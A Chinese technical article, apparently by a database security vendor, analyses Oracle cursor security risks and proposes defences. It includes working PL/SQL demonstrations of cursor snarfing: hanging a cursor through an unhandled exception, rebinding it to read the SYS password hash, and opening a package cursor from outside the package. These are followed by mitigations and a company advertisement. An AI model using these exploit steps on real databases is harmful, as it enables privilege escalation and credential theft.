摘要: 1.引言 数据库游标,通俗来讲,是信息系统开发中常用的一种对数据进行遍历的方法。本文游标特指oracle的游标。在数据库中,游标是一个十分重要的概念。游标提供了一种对从表中检索出的数据进行操作的灵活手段,很容易被开发人员和黑客利用,从而入侵数据库。因此本文重点...
1.引言
数据库游标,通俗来讲,是信息系统开发中常用的一种对数据进行遍历的方法。本文游标特指oracle的游标。在数据库中,游标是一个十分重要的概念。游标提供了一种对从表中检索出的数据进行操作的灵活手段,很容易被开发人员和黑客利用,从而入侵数据库。因此本文重点不在于讨论游标的用法,而是讨论游标可能带来什么安全隐患以及如何应对这些安全隐患。
2.游标的分类
正所谓工预善其事,必先利其器,首先,先简要介绍一下oracle游标。oracle 游标基本可以分为以下3类:显式游标、隐式游标和动态游标(关系具体看下图)。游标遵循的生命周期是declare、open、fetch、close。隐式游标对用户是透明的,本质上所有DML操作都被oracle内部解析为一个名为sql的隐式游标进行处理。
简单说游标的核心功能就是从表中检索出结果集,从中每次指向一条记录和客户端进行交互。因此游标在Oracle中被广泛使用。随着游标的广泛使用,同时带来的安全问题也日益凸显。
3.游标带来的安全隐患
oracle游标给数据库带来的安全隐患主要分为三大类:
- 一. 缺乏异常处理,挂起的游标被恶意利用
游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。那么设想一下,如果一个高权限用户建立一个游标却没关闭该游标。低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句进行高权限运行,就达到了提权或越权访问的目的。这也是游标SNARF提权的基础。
游标不正常关闭基本是人为造成的,高权限用户忘记关闭,就是游标所在的子程序缺乏异常处理机制。如果没有做相应的异常处理,黑客很有可能利用异常使游标被一直挂起。黑客利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。
下面我们用一个例子来说明缺乏异常处理会带来的问题。
SQL> connect / as sysdba
已连接。
SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS
CURSOR_NAME INTEGER;
PASSWORD VARCHAR2(30);
I INTEGER;
BEGIN
CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);
DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM
SYS.DBA_USERS WHERE USERNAME=:u',dbms_sql.native);
DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:u',P_USER);
DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);
I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
IF PASSWORD = '01234567890ABCDEF' THEN
DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
ELSE
DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
END IF;
DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
END;
/
PL/SQL 过程已成功完成。
SQL> grant execute on schina_test to public;
授权成功。
schina_test 是一个缺乏异常处理代码(exception)的存储过程,它的作用是对给定用户找到其密码hash值,然后和固定HASH值进行比较并返回结果。open_cursor时打开游标直到close_cursor或SQL会话终止游标退出。由于缺乏异常代码处理机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。
SQL> connect scott/tiger
已连接。
SQL> set serveroutput on
SQL> declare
x varchar(40000);
i integer;
begin
fro i in 1..10000 loop
x:='b'||x;
end loop;
sys. schina_test (x);
end;
/
CURSOR 3241423
通过向p_user中输入一个过长的x,系统返回ORA-01460错误。由于存储过程schina_test中没有对异常进行处理,虽然存储过程中关闭游标了,但由于发生异常,导致游标被挂起并未真正关闭。可以对未关闭的游标注入恶意语句,以达到所需要的效果。
- 二. oracle游标漏洞提权
游标提权漏洞就是在上面的基础上利用被挂起的游标,通过类似DBMS_SQL这种由系统定义的包,把游标语句和高权限用户进行绑定。接着上面的例子通过DBMS_SQL绑定SYS,用户直接获取SYS的密码HASH。
SQL> DECLARE
CURSOR_NAME INTEGER;
I INTEGER;
PWD VARCHAR2(30);
BEGIN
CURSOR_NAME:=3241423;
DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':u','SYS');
DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);
I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN
DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);
END IF;
DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);
END;
/
上述代码是在获取游标值的前提下进行的,因此在代码生命的地方写入游标值3241423。使用DBMS_SQL中的BIND_VARIABLE(cursor_name,':u',sys)将游标和SYS用户相绑定。这样执行查询SYS用户真实的运行的其实是select password from sys.dba_users where username = 'sys' 。DBMS_SQl.define_column函数的作用是将游标中第一列的值返回给PWD变量。黑客在执行完上述匿名块后,系统结果返回SYS密码的HASH散列。使用HASH逆向工具进行转换就可以获得SYS密码明文。直接夺取数据库最高权限。
- 三. oracle游标设计本身的安全隐患
其实想通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题。下面咱们写一个安全的包,这个包中放入一个游标,功能和前面用DBMS_SQL是一致的。用来取回需要检查账号的hash。然后和我们给出的一组预设hash做对比。低权限用户可以直接在包外调用这个包内的游标,获得游标中的内容。包内游标可以在包外被调用,这给Oracle的安全带来的巨大隐患。
SQL> connect / as sysdba
已连接。
SQL> CREATE OR REPLACE PACKAGE schina AS
CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
WHERE NAME=USERNAME;
PROCEDURE CHECK_PASSWORD;
END;
/
程序包已创建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS
PROCEDURE CHECK_PASSWORD IS
PASSWORD VARCHAR2(200);
BEGIN
OPEN X (USER());
FETCH X INTO PASSWORD;
CLOSE X;
IF PASSWORD = '01234567890ABCDEF' THEN
DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
ELSE
DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
END IF;
END CHECK_PASSWORD;
END;
/
程序包体已创建。
SQL> show errors
没有错误。
SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;
授权成功。
通过show errors检验发现整个过程没有X游标挂起的问题。X游标正常关闭了,到现在为止操作一切正常切换到低权限账号
SQL> connect scott/tiger
已连接。
SQL> set serveroutput on
SQL> exec sys.schina.check_password;
YOUR PASSWORD HASH IS OK
执行包返回的结果很安全不会显示出游标内存储的内容,但如果通过一个匿名块使用游标结果就不同了,低权限用户可以轻易使用高权限用户设置的游标。通过游标直接可以获取到游标中存储的结果集
PL/SQL 过程已成功完成。
SQL> DECLARE PASSWORD VARCHAR2(200);
BEGIN OPEN SYS. SCHINA.X ('SYS');
FETCH SYS. SCHINA.X INTO PASSWORD;
CLOSE SYS. SCHINA.X;
DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
END;
/
The SYS password is CF10653F66A74AC2
高权限用户的密码通过这种方式就会轻易被低权限用户直接获取。
PL/SQL 过程已成功完成。
4.解决办法
根据上一节游标的安全隐患,我们找到了游标制造安全隐患的原理。解决办法来自于这些原理。
4.1防游标被恶意挂起
1)规范输入验证过程,绑定变量已经不能满足要求。应当对用户可输入参数的变量的长度做严格的限制,来防止触发异常。最基本办法是按照用户输入参数的正常值的长度来进行限制。在用户输入参数后,先对参数进行长度校验,如果超过默认长度,则直接抛弃。这样可以在一定程度上减少异常发生的概率。
2)始终保持子程序中有专门对付异常的异常处理机制。防止恶意输入,导致游标被挂起。当异常发生的时候,保证会把游标关闭。
4.2防游标漏洞提权
在前面提到的利用游标进行提权的技术核心是,利用DBMS_SQL包中的一些带有varchar参数的函数。尤其是DBMS_sql.parse函数是完成游标注入类攻击的关键一环。攻击者正是通过这个函数完成将恶意代码注入到函数中,并将恶意代码与游标绑定。
于是最直接的想法是通过撤销DBMS_SQL的PUBLIC权限来限制低权限用户对DBMS_SQL的利用。但整个oracle中至少有170个对象依赖于DBMS_SQL。如果撤销DBMS_SQL的公共权限,将会造成很多操作上的麻烦。虽然DBMS_SQL提供了注入的土壤,但如果我们对DDL语句加以限制也可以从另一个角度阻止黑客利用DBMS_SQL对数据库进行恶意攻击。限制DDL语句有3种方式:1.通过权限进行控制。2.通过BEFORE型的安全触发器进行控制。3通过防火墙进行控制。当用户量少的时候DBA可以对每个用户进行逐个权限设置,但如果用户量大,逐个权限设置既不现实也不准确。这时推荐采用防火墙和触发器。BEFORE型的安全触发器可以在用户执行DDL语句之前触发来返回一个自定义系统错误。告知用户没有执行DDL权限,这样就可以达到限制用户执行DDL的目的了。但是如果想更精确的限制用户DDL语句,使用防火墙可以比采用触发器来的更方便和更灵活。
4.3防游标设计缺陷
oracle全局游标设计存在问题,游标可以在被定义的包外打开。低权限用户正常操作,很可能就会获取到高权限才可以看到的敏感信息。如果在可选的情况下,尽量不使用游标。如果要使用游标,尽量使用局部游标(无法在游标定义包外打开的游标)。最后如果一定要使用游标,可以通过防火墙或者触发器对调用游标的用户进行检查。如果发现该用户权限低于创建游标的用户,则禁止该游标被用户打开,否则用户可以正常调用该游标。
4.4建议
游标作为oracle的核心子程序,安全性十分重要。但oracle的游标为了方便等一些特性,削弱了游标的安全性。建议Oracle给游标一个参数,作为安全参数。如果安全参数被设置,当游标在其被定义的包外打开的时候,对游标进行强制检查,一旦发现打开该游标的用户权限低于创建游标者的权限。则直接抛出异常禁止打开该游标。
5.结束语
本文从安全角度来分析oracle游标。从三个不同角度发现oracle游标存在大量的安全隐患。其中有DBA失误造成的,也有oracle漏洞引起的,但最严重的是oracle的全局游标本身设计上的问题。为了保护敏感信息,可以通过权限设置,创建触发器,部署防火墙等多种方法进行防护。但最重要的还是希望oracle可以对游标设置一个安全参数。对在包外打开的游标的调用者进行资格审核。只有这样才能从机制上解决Oracle游标的安全隐患。
关于安华金和
安华金和是我国专业数据库安全产品和服务提供商,由长期致力于数据库内核研发和信息安全领域的专业资深人员共同创造,是国内唯一提供全面的数据库安全产品、服务和解决方案服务商,覆盖数据库安全防护的事前检查、事中控制和事后审核,帮助用户全面实现数据库安全防护和安全合规。
安华金和数据库安全产品已经广泛地应用于政府、军队、军工、运营商、金融、企业信息防护等领域,建立了一定的声誉,成为众多企业在该领域寻求安全产品和服务的首选。